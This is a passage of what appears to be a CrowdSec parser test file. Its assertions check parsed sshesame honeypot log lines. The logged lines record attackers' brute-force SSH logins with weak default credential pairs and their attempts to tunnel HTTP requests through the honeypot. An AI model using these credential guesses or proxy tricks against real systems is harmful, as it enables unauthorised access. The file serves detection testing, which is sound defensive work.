[133.18.236.86:43334] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][172].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][172].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][172].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][173].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][173].Evt.Parsed["message"] == "2022/05/06 10:01:07 [133.18.236.86:43334] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][173].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][173].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][173].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][174].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][174].Evt.Parsed["message"] == "2022/05/06 10:01:07 [133.18.236.86:43334] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][174].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][174].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][174].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][175].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][175].Evt.Parsed["message"] == "2022/05/06 10:01:07 [133.18.236.86:43326] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][175].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][175].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][175].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][176].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][176].Evt.Parsed["message"] == "2022/05/06 10:01:07 [133.18.236.86:43326] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][176].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][176].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][176].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][177].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][177].Evt.Parsed["message"] == "2022/05/06 10:01:07 [133.18.236.86:43326] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][177].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][177].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][177].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][178].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][178].Evt.Parsed["message"] == "2022/05/06 10:06:35 [190.2.139.67:58629] [channel 137] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][178].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][178].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][178].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][179].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][179].Evt.Parsed["message"] == "2022/05/06 10:06:35 [190.2.139.67:58629] [channel 137] input: \"GET /?requestid=76082 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][179].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][179].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][179].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][180].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][180].Evt.Parsed["message"] == "2022/05/06 10:06:35 [190.2.139.67:58629] [channel 137] closed" results["s00-raw"]["crowdsecurity/non-syslog"][180].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][180].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][180].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][181].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][181].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] authentication for user \"admin\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][181].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][181].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][181].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][182].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][182].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][182].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][182].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][182].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][183].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][183].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] connection with client version \"SSH-2.0-paramiko_1.12.4\" established" results["s00-raw"]["crowdsecurity/non-syslog"][183].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][183].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][183].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][184].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][184].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][184].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] [channel 0] direct TCP/IP forwarding from 127.0.0.1:5262 to 172.217.21.174:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][184].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][184].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][185].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][185].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][185].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][185].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][185].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][186].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][186].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] [channel 1] direct TCP/IP forwarding from 127.0.0.1:1821 to [2a00:1450:400f:80a::200e]:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][186].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][186].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][186].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][187].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][187].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][187].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][187].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][187].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][188].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][188].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][188].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][188].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][188].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][189].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][189].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][189].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][189].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][189].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][190].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][190].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][190].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][190].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][190].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][191].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][191].Evt.Parsed["message"] == "2022/05/06 10:39:28 [45.82.65.44:42736] [channel 28] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.142.25:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][191].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][191].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][191].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][192].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][192].Evt.Parsed["message"] == "2022/05/06 10:39:28 [45.82.65.44:42736] [channel 28] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][192].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][192].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][192].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][193].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][193].Evt.Parsed["message"] == "2022/05/06 10:39:28 [45.82.65.44:42736] [channel 28] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][193].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][193].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][193].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][194].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][194].Evt.Parsed["message"] == "2022/05/06 10:39:59 [45.82.65.44:42736] [channel 28] closed" results["s00-raw"]["crowdsecurity/non-syslog"][194].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][194].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][194].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][195].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][195].Evt.Parsed["message"] == "2022/05/06 10:43:18 [193.105.134.95:46780] authentication for user \"!root\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][195].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][195].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][195].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][196].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][196].Evt.Parsed["message"] == "2022/05/06 10:43:18 [193.105.134.95:46780] authentication for user \"!root\" with password \"\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][196].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][196].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][196].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][197].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][197].Evt.Parsed["message"] == "2022/05/06 10:43:18 [193.105.134.95:46780] connection with client version \"SSH-2.0-Granados-1.0\" established" results["s00-raw"]["crowdsecurity/non-syslog"][197].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][197].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][197].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][198].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][198].Evt.Parsed["message"] == "2022/05/06 10:43:18 [193.105.134.95:46780] [channel 0] direct TCP/IP forwarding from 127.0.0.1:19536 to 172.217.21.174:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][198].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][198].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][198].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][199].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][199].Evt.Parsed["message"] == "2022/05/06 10:43:18 [193.105.134.95:46780] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][199].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][199].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][199].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][200].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][200].Evt.Parsed["message"] == "2022/05/06 10:43:19 [193.105.134.95:46780] [channel 1] direct TCP/IP forwarding from 127.0.0.1:17549 to [2a00:1450:400f:80a::200e]:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][200].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][200].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][200].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][201].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][201].Evt.Parsed["message"] == "2022/05/06 10:43:19 [193.105.134.95:46780] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][201].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][201].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][201].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][202].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][202].Evt.Parsed["message"] == "2022/05/06 10:43:19 [193.105.134.95:46780] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][202].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][202].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][202].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][203].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][203].Evt.Parsed["message"] == "2022/05/06 10:43:19 [193.105.134.95:46780] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][203].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][203].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][203].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][204].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][204].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][204].Evt.Parsed["message"] == "2022/05/06 10:43:19 [193.105.134.95:46780] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][204].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][204].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][205].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][205].Evt.Parsed["message"] == "2022/05/06 10:44:30 [202.153.33.62:26354] authentication for user \"ubnt\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][205].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][205].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][205].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][206].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][206].Evt.Parsed["message"] == "2022/05/06 10:44:31 [202.153.33.62:26354] authentication for user \"ubnt\" with password \"ubnt1\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][206].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][206].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][206].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][207].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][207].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][207].Evt.Parsed["message"] == "2022/05/06 10:44:31 [202.153.33.62:26354] connection with client version \"SSH-2.0-OpenSSH_7.4\" established" results["s00-raw"]["crowdsecurity/non-syslog"][207].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][207].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][208].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][208].Evt.Parsed["message"] == "2022/05/06 10:44:33 [202.153.33.62:26354] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][208].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][208].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][208].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][209].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][209].Evt.Parsed["message"] == "2022/05/06 11:06:40 [190.2.139.67:7117] [channel 136] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][209].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][209].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][209].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][210].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][210].Evt.Parsed["message"] == "2022/05/06 11:06:40 [190.2.139.67:7117] [channel 136] input: \"GET /?requestid=3381 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][210].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][210].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][210].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][211].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][211].Evt.Parsed["message"] == "2022/05/06 11:06:40 [190.2.139.67:7117] [channel 136] closed" results["s00-raw"]["crowdsecurity/non-syslog"][211].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][211].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][211].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][212].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][212].Evt.Parsed["message"] == "2022/05/06 11:44:51 [65.108.254.29:39240] authentication for user \"root\" with password \"Subby123123\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][212].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][212].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][212].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][213].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][213].Evt.Parsed["message"] == "2022/05/06 11:44:51 [65.108.254.29:39240] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][213].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][213].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][213].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][214].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][214].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][214].Evt.Parsed["message"] == "2022/05/06 11:44:51 [65.108.254.29:39240] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][214].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][214].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][215].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][215].Evt.Parsed["message"] == "2022/05/06 11:44:51 [65.108.254.29:39858] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][215].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][215].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][215].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][216].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][216].Evt.Parsed["message"] == "2022/05/06 11:44:51 [65.108.254.29:39858] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][216].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][216].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][216].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][217].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][217].Evt.Parsed["message"] == "2022/05/06 11:44:51 [65.108.254.29:39858] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][217].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][217].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][217].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][218].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][218].Evt.Parsed["message"] == "2022/05/06 11:44:56 [190.2.139.67:58629] [channel 140] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][218].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][218].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][218].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][219].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][219].Evt.Parsed["message"] == "2022/05/06 11:44:56 [190.2.139.67:58629] [channel 140] input: \"GET /?requestid=54995 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][219].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][219].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][219].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][220].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][220].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][220].Evt.Parsed["message"] == "2022/05/06 11:44:56 [190.2.139.67:58629] [channel 140] closed" results["s00-raw"]["crowdsecurity/non-syslog"][220].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][220].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][221].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][221].Evt.Parsed["message"] == "2022/05/06 11:47:01 [217.95.152.37:62602] authentication for user \"sales\" with password \"sales123\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][221].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][221].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][221].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][222].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][222].Evt.Parsed["message"] == "2022/05/06 11:47:01 [217.95.152.37:62602] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][222].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][222].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][222].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][223].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][223].Evt.Parsed["message"] == "2022/05/06 11:47:02 [217.95.152.37:33514] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][223].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][223].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][223].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][224].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][224].Evt.Parsed["message"] == "2022/05/06 11:47:02 [217.95.152.37:33514] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][224].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][224].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][224].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][225].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][225].Evt.Parsed["message"] == "2022/05/06 11:47:02 [217.95.152.37:33514] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][225].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][225].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][225].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][226].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][226].Evt.Parsed["message"] == "2022/05/06 11:47:02 [217.95.152.37:62602] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][226].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][226].Evt.Meta["datasource_path"] == "sshesame.log" 